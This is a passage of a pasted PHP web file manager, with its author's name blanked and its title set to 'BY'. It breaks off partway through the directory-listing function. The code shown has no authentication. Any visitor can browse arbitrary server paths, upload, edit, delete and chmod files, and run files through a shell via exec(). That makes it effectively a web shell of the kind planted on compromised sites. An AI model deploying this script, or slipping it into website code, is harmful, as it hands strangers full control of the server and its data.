· 9 years ago · Jun 02, 2017, 04:50 AM
1
2<?php
3/*
4 * by - a simple Web-based file manager
5 * Copyright (C) 2004 by
6 *
7 * This program is free software; you can redistribute it and/or modify
8 * it under the terms of the GNU General Public License as published by
9 * the Free Software Foundation; either version 2 of the License, or
10 * (at your option) any later version.
11 *
12 * This program is distributed in the hope that it will be useful,
13 * but WITHOUT ANY WARRANTY; without even the implied warranty of
14 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 * GNU General Public License for more details.
16 *
17 * You should have received a copy of the GNU General Public License
18 * along with this program; if not, write to the Free Software
19 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
20 *
21 * -------------------------------------------------------------------------
22 * While using this script, do NOT navigate with your browser's back and
23 * forward buttons! Always open files in a new browser tab!
24 * -------------------------------------------------------------------------
25 *
26 * This is Version 0.9, revision 9
27 * =========================================================================
28 *
29 * Changes of revision 9
30 * <c04@hotmail.com>
31 * added workaround for directory listing, if lstat() is disabled
32 * fixed permisson of uploaded files (thanks to Stephan Duffner)
33 *
34 * Changes of revision 8
35 * <okankan@stud.sdu.edu.tr>
36 * added Turkish translation
37 * <j@kub.cz>
38 * added Czech translation
39 * <I0X0@HOTMAIL.COM>
40 * improved charset handling
41 *
42 * Changes of revision 7
43 * <szuniga@vtr.net>
44 * added Spanish translation
45 * <lars@soelgaard.net>
46 * added Danish translation
47 * <I0X0@HOTMAIL.COM>
48 * improved rename dialog
49 *
50 * Changes of revision 6
51 * <nederkoorn@tiscali.nl>
52 * added Dutch translation
53 *
54 * Changes of revision 5
55 * <I0X0@HOTMAIL.COM>
56 * added language auto select
57 * fixed symlinks in directory listing
58 * removed word-wrap in edit textarea
59 *
60 * Changes of revision 4
61 * <daloan@guideo.fr>
62 * added French translation
63 * <anders@wiik.cc>
64 * added Swedish translation
65 *
66 * Changes of revision 3
67 * <nzunta@gabriele-erba.it>
68 * improved Italian translation
69 *
70 * Changes of revision 2
71 * <I0X0@HOTMAIL.COM>
72 * got images work in some old browsers
73 * fixed creation of directories
74 * fixed files deletion
75 * improved path handling
76 * added missing word 'not_created'
77 * <till@tuxen.de>
78 * improved human readability of file sizes
79 * <nzunta@gabriele-erba.it>
80 * added Italian translation
81 *
82 * Changes of revision 1
83 * <c04@hotmail.com>
84 * by completely rewritten:
85 * - clean XHTML/CSS output
86 * - several files selectable
87 * - support for windows servers
88 * - no more treeview, because
89 * - by is a >simple< file manager
90 * - performance problems (too much additional code)
91 * - I don't like: frames, java-script, to reload after every treeview-click
92 * - execution of shell scripts
93 * - introduced revision numbers
94 *
95/* ------------------------------------------------------------------------- */
96
97/* Your language:
98 * 'en' - English
99 * 'de' - German
100 * 'fr' - French
101 * 'it' - Italian
102 * 'nl' - Dutch
103 * 'se' - Swedish
104 * 'sp' - Spanish
105 * 'dk' - Danish
106 * 'tr' - Turkish
107 * 'cs' - Czech
108 * 'auto' - autoselect
109 */
110$lang = 'auto';
111
112/* Charset of output:
113 * possible values are described in the charset table at
114 * http://www.php.net/manual/en/function.htmlentities.php
115 * 'auto' - use the same charset as the words of my language are encoded
116 */
117$site_charset = 'auto';
118
119/* Homedir:
120 * For example: './' - the script's directory
121 */
122$homedir = './';
123
124/* Size of the edit textarea
125 */
126$editcols = 80;
127$editrows = 25;
128
129/* -------------------------------------------
130 * Optional configuration (remove # to enable)
131 */
132
133/* Permission of created directories:
134 * For example: 0705 would be 'drwx---r-x'.
135 */
136# $dirpermission = 0705;
137
138/* Permission of created files:
139 * For example: 0604 would be '-rw----r--'.
140 */
141# $filepermission = 0604;
142
143/* Filenames related to the apache web server:
144 */
145$htaccess = '.htaccess';
146$htpasswd = '.htpasswd';
147
148/* ------------------------------------------------------------------------- */
149
150if (get_magic_quotes_gpc()) {
151 array_walk($_GET, 'strip');
152 array_walk($_POST, 'strip');
153 array_walk($_REQUEST, 'strip');
154}
155
156if (array_key_exists('image', $_GET)) {
157 header('Content-Type: image/gif');
158 die(getimage($_GET['image']));
159}
160
161if (!function_exists('lstat')) {
162 function lstat ($filename) {
163 return stat($filename);
164 }
165}
166
167$delim = DIRECTORY_SEPARATOR;
168
169if (function_exists('php_uname')) {
170 $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
171} else {
172 $win = ($delim == '\\') ? true : false;
173}
174
175if (!empty($_SERVER['PATH_TRANSLATED'])) {
176 $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
177} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
178 $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
179} elseif (function_exists('getcwd')) {
180 $scriptdir = getcwd();
181} else {
182 $scriptdir = '.';
183}
184$homedir = relative2absolute($homedir, $scriptdir);
185
186$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
187
188if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
189 $dir = relative2absolute($dir, $_POST['olddir']);
190}
191
192$directory = simplify_path(addslash($dir));
193
194$files = array();
195$action = '';
196if (!empty($_POST['submit_all'])) {
197 $action = $_POST['action_all'];
198 for ($i = 0; $i < $_POST['num']; $i++) {
199 if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
200 $files[] = $_POST["file$i"];
201 }
202 }
203} elseif (!empty($_REQUEST['action'])) {
204 $action = $_REQUEST['action'];
205 $files[] = relative2absolute($_REQUEST['file'], $directory);
206} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
207 $files[] = $_FILES['upload'];
208 $action = 'upload';
209} elseif (array_key_exists('num', $_POST)) {
210 for ($i = 0; $i < $_POST['num']; $i++) {
211 if (array_key_exists("submit$i", $_POST)) break;
212 }
213 if ($i < $_POST['num']) {
214 $action = $_POST["action$i"];
215 $files[] = $_POST["file$i"];
216 }
217}
218if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
219 $files[] = relative2absolute($_POST['create_name'], $directory);
220 switch ($_POST['create_type']) {
221 case 'directory':
222 $action = 'create_directory';
223 break;
224 case 'file':
225 $action = 'create_file';
226 }
227}
228if (sizeof($files) == 0) $action = ''; else $file = reset($files);
229
230if ($lang == 'auto') {
231 if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
232 $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
233 } else {
234 $lang = 'en';
235 }
236}
237
238$words = getwords($lang);
239
240if ($site_charset == 'auto') {
241 $site_charset = $word_charset;
242}
243
244$cols = ($win) ? 4 : 7;
245
246if (!isset($dirpermission)) {
247 $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
248}
249if (!isset($filepermission)) {
250 $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
251}
252
253if (!empty($_SERVER['SCRIPT_NAME'])) {
254 $self = html(basename($_SERVER['SCRIPT_NAME']));
255} elseif (!empty($_SERVER['PHP_SELF'])) {
256 $self = html(basename($_SERVER['PHP_SELF']));
257} else {
258 $self = '';
259}
260
261if (!empty($_SERVER['SERVER_SOFTWARE'])) {
262 if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
263 $apache = true;
264 } else {
265 $apache = false;
266 }
267} else {
268 $apache = true;
269}
270
271switch ($action) {
272
273case 'view':
274
275 if (is_script($file)) {
276
277 /* highlight_file is a mess! */
278 ob_start();
279 highlight_file($file);
280 $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
281 $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
282 ob_end_clean();
283
284 html_header();
285 echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
286
287<hr />
288
289<table>
290<tr>
291<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
292<pre style="margin-top: 0"><code>';
293
294 for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
295
296 echo '</code></pre>
297</td>
298<td style="text-align: left; vertical-align: top; padding-left: 3pt">
299<pre style="margin-top: 0">' . $src . '</pre>
300</td>
301</tr>
302</table>
303
304';
305
306 html_footer();
307
308 } else {
309
310 header('Content-Type: ' . getmimetype($file));
311 header('Content-Disposition: filename=' . basename($file));
312
313 readfile($file);
314
315 }
316
317 break;
318
319case 'download':
320
321 header('Pragma: public');
322 header('Expires: 0');
323 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
324 header('Content-Type: ' . getmimetype($file));
325 header('Content-Disposition: attachment; filename=' . basename($file) . ';');
326 header('Content-Length: ' . filesize($file));
327
328 readfile($file);
329
330 break;
331
332case 'upload':
333
334 $dest = relative2absolute($file['name'], $directory);
335
336 if (@file_exists($dest)) {
337 listing_page(error('already_exists', $dest));
338 } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
339 @chmod($dest, $filepermission);
340 listing_page(notice('uploaded', $file['name']));
341 } else {
342 listing_page(error('not_uploaded', $file['name']));
343 }
344
345 break;
346
347case 'create_directory':
348
349 if (@file_exists($file)) {
350 listing_page(error('already_exists', $file));
351 } else {
352 $old = @umask(0777 & ~$dirpermission);
353 if (@mkdir($file, $dirpermission)) {
354 listing_page(notice('created', $file));
355 } else {
356 listing_page(error('not_created', $file));
357 }
358 @umask($old);
359 }
360
361 break;
362
363case 'create_file':
364
365 if (@file_exists($file)) {
366 listing_page(error('already_exists', $file));
367 } else {
368 $old = @umask(0777 & ~$filepermission);
369 if (@touch($file)) {
370 edit($file);
371 } else {
372 listing_page(error('not_created', $file));
373 }
374 @umask($old);
375 }
376
377 break;
378
379case 'execute':
380
381 chdir(dirname($file));
382
383 $output = array();
384 $retval = 0;
385 exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
386
387 $error = ($retval == 0) ? false : true;
388
389 if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
390
391 if ($error) {
392 listing_page(error('not_executed', $file, implode("\n", $output)));
393 } else {
394 listing_page(notice('executed', $file, implode("\n", $output)));
395 }
396
397 break;
398
399case 'delete':
400
401 if (!empty($_POST['no'])) {
402 listing_page();
403 } elseif (!empty($_POST['yes'])) {
404
405 $failure = array();
406 $success = array();
407
408 foreach ($files as $file) {
409 if (del($file)) {
410 $success[] = $file;
411 } else {
412 $failure[] = $file;
413 }
414 }
415
416 $message = '';
417 if (sizeof($failure) > 0) {
418 $message = error('not_deleted', implode("\n", $failure));
419 }
420 if (sizeof($success) > 0) {
421 $message .= notice('deleted', implode("\n", $success));
422 }
423
424 listing_page($message);
425
426 } else {
427
428 html_header();
429
430 echo '<form action="' . $self . '" method="post">
431<table class="dialog">
432<tr>
433<td class="dialog">
434';
435
436 request_dump();
437
438 echo "\t<b>" . word('really_delete') . '</b>
439 <p>
440';
441
442 foreach ($files as $file) {
443 echo "\t" . html($file) . "<br />\n";
444 }
445
446 echo ' </p>
447 <hr />
448 <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
449 <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
450</td>
451</tr>
452</table>
453</form>
454
455';
456
457 html_footer();
458
459 }
460
461 break;
462
463case 'rename':
464
465 if (!empty($_POST['destination'])) {
466
467 $dest = relative2absolute($_POST['destination'], $directory);
468
469 if (!@file_exists($dest) && @rename($file, $dest)) {
470 listing_page(notice('renamed', $file, $dest));
471 } else {
472 listing_page(error('not_renamed', $file, $dest));
473 }
474
475 } else {
476
477 $name = basename($file);
478
479 html_header();
480
481 echo '<form action="' . $self . '" method="post">
482
483<table class="dialog">
484<tr>
485<td class="dialog">
486 <input type="hidden" name="action" value="rename" />
487 <input type="hidden" name="file" value="' . html($file) . '" />
488 <input type="hidden" name="dir" value="' . html($directory) . '" />
489 <b>' . word('rename_file') . '</b>
490 <p>' . html($file) . '</p>
491 <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
492 <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
493 <hr />
494 <input type="submit" value="' . word('rename') . '" />
495</td>
496</tr>
497</table>
498
499<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
500
501</form>
502
503';
504
505 html_footer();
506
507 }
508
509 break;
510
511case 'move':
512
513 if (!empty($_POST['destination'])) {
514
515 $dest = relative2absolute($_POST['destination'], $directory);
516
517 $failure = array();
518 $success = array();
519
520 foreach ($files as $file) {
521 $filename = substr($file, strlen($directory));
522 $d = $dest . $filename;
523 if (!@file_exists($d) && @rename($file, $d)) {
524 $success[] = $file;
525 } else {
526 $failure[] = $file;
527 }
528 }
529
530 $message = '';
531 if (sizeof($failure) > 0) {
532 $message = error('not_moved', implode("\n", $failure), $dest);
533 }
534 if (sizeof($success) > 0) {
535 $message .= notice('moved', implode("\n", $success), $dest);
536 }
537
538 listing_page($message);
539
540 } else {
541
542 html_header();
543
544 echo '<form action="' . $self . '" method="post">
545
546<table class="dialog">
547<tr>
548<td class="dialog">
549';
550
551 request_dump();
552
553 echo "\t<b>" . word('move_files') . '</b>
554 <p>
555';
556
557 foreach ($files as $file) {
558 echo "\t" . html($file) . "<br />\n";
559 }
560
561 echo ' </p>
562 <hr />
563 ' . word('destination') . ':
564 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
565 <input type="submit" value="' . word('move') . '" />
566</td>
567</tr>
568</table>
569
570<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
571
572</form>
573
574';
575
576 html_footer();
577
578 }
579
580 break;
581
582case 'copy':
583
584 if (!empty($_POST['destination'])) {
585
586 $dest = relative2absolute($_POST['destination'], $directory);
587
588 if (@is_dir($dest)) {
589
590 $failure = array();
591 $success = array();
592
593 foreach ($files as $file) {
594 $filename = substr($file, strlen($directory));
595 $d = addslash($dest) . $filename;
596 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
597 $success[] = $file;
598 } else {
599 $failure[] = $file;
600 }
601 }
602
603 $message = '';
604 if (sizeof($failure) > 0) {
605 $message = error('not_copied', implode("\n", $failure), $dest);
606 }
607 if (sizeof($success) > 0) {
608 $message .= notice('copied', implode("\n", $success), $dest);
609 }
610
611 listing_page($message);
612
613 } else {
614
615 if (!@file_exists($dest) && @copy($file, $dest)) {
616 listing_page(notice('copied', $file, $dest));
617 } else {
618 listing_page(error('not_copied', $file, $dest));
619 }
620
621 }
622
623 } else {
624
625 html_header();
626
627 echo '<form action="' . $self . '" method="post">
628
629<table class="dialog">
630<tr>
631<td class="dialog">
632';
633
634 request_dump();
635
636 echo "\n<b>" . word('copy_files') . '</b>
637 <p>
638';
639
640 foreach ($files as $file) {
641 echo "\t" . html($file) . "<br />\n";
642 }
643
644 echo ' </p>
645 <hr />
646 ' . word('destination') . ':
647 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
648 <input type="submit" value="' . word('copy') . '" />
649</td>
650</tr>
651</table>
652
653<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
654
655</form>
656
657';
658
659 html_footer();
660
661 }
662
663 break;
664
665case 'create_symlink':
666
667 if (!empty($_POST['destination'])) {
668
669 $dest = relative2absolute($_POST['destination'], $directory);
670
671 if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
672
673 if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
674
675 if (!@file_exists($dest) && @symlink($file, $dest)) {
676 listing_page(notice('symlinked', $file, $dest));
677 } else {
678 listing_page(error('not_symlinked', $file, $dest));
679 }
680
681 } else {
682
683 html_header();
684
685 echo '<form action="' . $self . '" method="post">
686
687<table class="dialog" id="symlink">
688<tr>
689 <td style="vertical-align: top">' . word('destination') . ': </td>
690 <td>
691 <b>' . html($file) . '</b><br />
692 <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
693 <label for="checkbox_relative">' . word('relative') . '</label>
694 <input type="hidden" name="action" value="create_symlink" />
695 <input type="hidden" name="file" value="' . html($file) . '" />
696 <input type="hidden" name="dir" value="' . html($directory) . '" />
697 </td>
698</tr>
699<tr>
700 <td>' . word('symlink') . ': </td>
701 <td>
702 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
703 <input type="submit" value="' . word('create_symlink') . '" />
704 </td>
705</tr>
706</table>
707
708<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
709
710</form>
711
712';
713
714 html_footer();
715
716 }
717
718 break;
719
720case 'edit':
721
722 if (!empty($_POST['save'])) {
723
724 $content = str_replace("\r\n", "\n", $_POST['content']);
725
726 if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
727 listing_page(notice('saved', $file));
728 } else {
729 listing_page(error('not_saved', $file));
730 }
731
732 } else {
733
734 if (@is_readable($file) && @is_writable($file)) {
735 edit($file);
736 } else {
737 listing_page(error('not_edited', $file));
738 }
739
740 }
741
742 break;
743
744case 'permission':
745
746 if (!empty($_POST['set'])) {
747
748 $mode = 0;
749 if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
750 if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
751 if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
752
753 if (@chmod($file, $mode)) {
754 listing_page(notice('permission_set', $file, decoct($mode)));
755 } else {
756 listing_page(error('permission_not_set', $file, decoct($mode)));
757 }
758
759 } else {
760
761 html_header();
762
763 $mode = fileperms($file);
764
765 echo '<form action="' . $self . '" method="post">
766
767<table class="dialog">
768<tr>
769<td class="dialog">
770
771 <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
772
773 <hr />
774
775 <table id="permission">
776 <tr>
777 <td></td>
778 <td style="border-right: 1px solid black">' . word('owner') . '</td>
779 <td style="border-right: 1px solid black">' . word('group') . '</td>
780 <td>' . word('other') . '</td>
781 </tr>
782 <tr>
783 <td style="text-align: right">' . word('read') . ':</td>
784 <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
785 <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
786 <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
787 </tr>
788 <tr>
789 <td style="text-align: right">' . word('write') . ':</td>
790 <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
791 <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
792 <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
793 </tr>
794 <tr>
795 <td style="text-align: right">' . word('execute') . ':</td>
796 <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
797 <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
798 <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
799 </tr>
800 </table>
801
802 <hr />
803
804 <input type="submit" name="set" value="' . word('set') . '" />
805
806 <input type="hidden" name="action" value="permission" />
807 <input type="hidden" name="file" value="' . html($file) . '" />
808 <input type="hidden" name="dir" value="' . html($directory) . '" />
809
810</td>
811</tr>
812</table>
813
814<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
815
816</form>
817
818';
819
820 html_footer();
821
822 }
823
824 break;
825
826default:
827
828 listing_page();
829
830}
831
832/* ------------------------------------------------------------------------- */
833
834function getlist ($directory) {
835 global $delim, $win;
836
837 if ($d = @opendir($directory)) {
838
839 while (($filename = @readdir($d)) !== false) {
840
841 $path = $directory . $filename;
842
843 if ($stat = @lstat($path)) {
844
845 $file = array(
846 'filename' => $filename,
847 'path' => $path,
848 'is_file' => @is_file($path),
849 'is_dir' => @is_dir($path),
850 'is_link' => @is_link($path),
851 'is_readable' => @is_readable($path),
852 'is_writable' => @is_writable($path),
853 'size' => $stat['size'],
854 'permission' => $stat['mode'],
855 'owner' => $stat['uid'],
856 'group' => $stat['gid'],
857 'mtime' => @filemtime($path),
858 'atime' => @fileatime($path),
859 'ctime' => @filectime($path)
860 );
861
862 if ($file['is_dir']) {
863 $file['is_executable'] = @file_exists($path . $delim . '.');
864 } else {
865 if (!$win) {
866 $file['is_executable'] = @is_executable($path);
867 } else {
868 $file['is_executable'] = true;
869 }
870 }
871
872 if ($file['is_link']) $file['target'] = @readlink($path);
873
874 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
875 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
876
877 $files[] = $file;
878
879 }
880
881 }
882
883 return $files;
884
885 } else {
886 return false;
887 }
888
889}
890
891function sortlist (&$list, $key, $reverse) {
892
893 quicksort($list, 0, sizeof($list) - 1, $key);
894
895 if ($reverse) $list = array_reverse($list);
896
897}
898
899function quicksort (&$array, $first, $last, $key) {
900
901 if ($first < $last) {
902
903 $cmp = $array[floor(($first + $last) / 2)][$key];
904
905 $l = $first;
906 $r = $last;
907
908 while ($l <= $r) {
909
910 while ($array[$l][$key] < $cmp) $l++;
911 while ($array[$r][$key] > $cmp) $r--;
912
913 if ($l <= $r) {
914
915 $tmp = $array[$l];
916 $array[$l] = $array[$r];
917 $array[$r] = $tmp;
918
919 $l++;
920 $r--;
921
922 }
923
924 }
925
926 quicksort($array, $first, $r, $key);
927 quicksort($array, $l, $last, $key);
928
929 }
930
931}
932
933function permission_octal2string ($mode) {
934
935 if (($mode & 0xC000) === 0xC000) {
936 $type = 's';
937 } elseif (($mode & 0xA000) === 0xA000) {
938 $type = 'l';
939 } elseif (($mode & 0x8000) === 0x8000) {
940 $type = '-';
941 } elseif (($mode & 0x6000) === 0x6000) {
942 $type = 'b';
943 } elseif (($mode & 0x4000) === 0x4000) {
944 $type = 'd';
945 } elseif (($mode & 0x2000) === 0x2000) {
946 $type = 'c';
947 } elseif (($mode & 0x1000) === 0x1000) {
948 $type = 'p';
949 } else {
950 $type = '?';
951 }
952
953 $owner = ($mode & 00400) ? 'r' : '-';
954 $owner .= ($mode & 00200) ? 'w' : '-';
955 if ($mode & 0x800) {
956 $owner .= ($mode & 00100) ? 's' : 'S';
957 } else {
958 $owner .= ($mode & 00100) ? 'x' : '-';
959 }
960
961 $group = ($mode & 00040) ? 'r' : '-';
962 $group .= ($mode & 00020) ? 'w' : '-';
963 if ($mode & 0x400) {
964 $group .= ($mode & 00010) ? 's' : 'S';
965 } else {
966 $group .= ($mode & 00010) ? 'x' : '-';
967 }
968
969 $other = ($mode & 00004) ? 'r' : '-';
970 $other .= ($mode & 00002) ? 'w' : '-';
971 if ($mode & 0x200) {
972 $other .= ($mode & 00001) ? 't' : 'T';
973 } else {
974 $other .= ($mode & 00001) ? 'x' : '-';
975 }
976
977 return $type . $owner . $group . $other;
978
979}
980
981function is_script ($filename) {
982 return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
983}
984
985function getmimetype ($filename) {
986 static $mimes = array(
987 '\.jpg$|\.jpeg$' => 'image/jpeg',
988 '\.gif$' => 'image/gif',
989 '\.png$' => 'image/png',
990 '\.html$|\.html$' => 'text/html',
991 '\.txt$|\.asc$' => 'text/plain',
992 '\.xml$|\.xsl$' => 'application/xml',
993 '\.pdf$' => 'application/pdf'
994 );
995
996 foreach ($mimes as $regex => $mime) {
997 if (eregi($regex, $filename)) return $mime;
998 }
999
1000 // return 'application/octet-stream';
1001 return 'text/plain';
1002
1003}
1004
1005function del ($file) {
1006 global $delim;
1007
1008 if (!@is_link($file) && !file_exists($file)) return false;
1009
1010 if (!@is_link($file) && @is_dir($file)) {
1011
1012 if ($dir = @opendir($file)) {
1013
1014 $error = false;
1015
1016 while (($f = readdir($dir)) !== false) {
1017 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
1018 $error = true;
1019 }
1020 }
1021 closedir($dir);
1022
1023 if (!$error) return @rmdir($file);
1024
1025 return !$error;
1026
1027 } else {
1028 return false;
1029 }
1030
1031 } else {
1032 return @unlink($file);
1033 }
1034
1035}
1036
1037function addslash ($directory) {
1038 global $delim;
1039
1040 if (substr($directory, -1, 1) != $delim) {
1041 return $directory . $delim;
1042 } else {
1043 return $directory;
1044 }
1045
1046}
1047
1048function relative2absolute ($string, $directory) {
1049
1050 if (path_is_relative($string)) {
1051 return simplify_path(addslash($directory) . $string);
1052 } else {
1053 return simplify_path($string);
1054 }
1055
1056}
1057
1058function path_is_relative ($path) {
1059 global $win;
1060
1061 if ($win) {
1062 return (substr($path, 1, 1) != ':');
1063 } else {
1064 return (substr($path, 0, 1) != '/');
1065 }
1066
1067}
1068
1069function absolute2relative ($directory, $target) {
1070 global $delim;
1071
1072 $path = '';
1073 while ($directory != $target) {
1074 if ($directory == substr($target, 0, strlen($directory))) {
1075 $path .= substr($target, strlen($directory));
1076 break;
1077 } else {
1078 $path .= '..' . $delim;
1079 $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
1080 }
1081 }
1082 if ($path == '') $path = '.';
1083
1084 return $path;
1085
1086}
1087
1088function simplify_path ($path) {
1089 global $delim;
1090
1091 if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
1092 $path = realpath($path);
1093 if (@is_dir($path)) {
1094 return addslash($path);
1095 } else {
1096 return $path;
1097 }
1098 }
1099
1100 $pattern = $delim . '.' . $delim;
1101
1102 if (@is_dir($path)) {
1103 $path = addslash($path);
1104 }
1105
1106 while (strpos($path, $pattern) !== false) {
1107 $path = str_replace($pattern, $delim, $path);
1108 }
1109
1110 $e = addslashes($delim);
1111 $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
1112
1113 while (ereg($regex, $path)) {
1114 $path = ereg_replace($regex, $delim, $path);
1115 }
1116
1117 return $path;
1118
1119}
1120
1121function human_filesize ($filesize) {
1122
1123 $suffices = 'kMGTPE';
1124
1125 $n = 0;
1126 while ($filesize >= 1000) {
1127 $filesize /= 1024;
1128 $n++;
1129 }
1130
1131 $filesize = round($filesize, 3 - strpos($filesize, '.'));
1132
1133 if (strpos($filesize, '.') !== false) {
1134 while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
1135 $filesize = substr($filesize, 0, strlen($filesize) - 1);
1136 }
1137 }
1138
1139 $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
1140
1141 return $filesize . " {$suffix}B";
1142
1143}
1144
1145function strip (&$str) {
1146 $str = stripslashes($str);
1147}
1148
1149/* ------------------------------------------------------------------------- */
1150
1151function listing_page ($message = null) {
1152 global $self, $directory, $sort, $reverse;
1153
1154 html_header();
1155
1156 $list = getlist($directory);
1157
1158 if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
1159 if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
1160
1161 sortlist($list, $sort, $reverse);
1162
1163 echo '<h1 style="margin-bottom: 0">BY </h1>
1164
1165<form enctype="multipart/form-data" action="' . $self . '" method="post">
1166
1167<table id="main">
1168';
1169
1170 directory_choice();
1171
1172 if (!empty($message)) {
1173 spacer();
1174 echo $message;
1175 }
1176
1177 if (@is_writable($directory)) {
1178 upload_box();
1179 create_box();
1180 } else {
1181 spacer();
1182 }
1183
1184 if ($list) {
1185 listing($list);
1186 } else {
1187 echo error('not_readable', $directory);
1188 }
1189
1190 echo '</table>
1191
1192</form>
1193
1194';
1195
1196 html_footer();
1197
1198}
1199
1200function listing ($list) {
1201 global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
1202
1203 echo '<tr class="listing">
1204 <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
1205';
1206
1207 $d = 'dir=' . urlencode($directory) . '&';
1208
1209 if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
1210 echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
1211
1212 if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
1213 echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
1214
1215 if (!$win) {
1216
1217 if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
1218 echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
1219
1220 if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
1221 echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
1222
1223 if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
1224 echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
1225
1226 }
1227
1228 echo ' <th class="functions">' . word('functions') . '</th>
1229</tr>
1230';
1231
1232 for ($i = 0; $i < sizeof($list); $i++) {
1233 $file = $list[$i];
1234
